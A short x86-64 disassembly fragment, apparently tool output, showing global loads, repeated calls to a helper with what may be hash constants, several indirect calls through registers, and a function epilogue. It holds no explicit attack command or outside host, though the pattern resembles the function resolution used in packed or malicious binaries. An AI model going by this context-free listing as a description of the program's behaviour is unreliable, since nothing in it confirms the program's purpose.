mov rax, qword [0x004cbc00]
lea rcx, str.HaileeRice
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc150]
mov eax, dword [rax]
mov dword [r14], eax
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [str._mf]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc180]
mov ecx, 0x45cd2d4a
mov dword [rbx], eax
call fcn.00413350
mov rdi, qword [0x004cc220]
mov dword [rdi], eax
mov rax, qword [0x004cbc10]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbd70]
xor ecx, ecx
mov dword [rbx], eax
call rsi
mov edx, dword [r13]
mov rax, qword [0x004cc470]
xor ecx, ecx
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call rax
mov rax, qword [rsp + 0x38]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret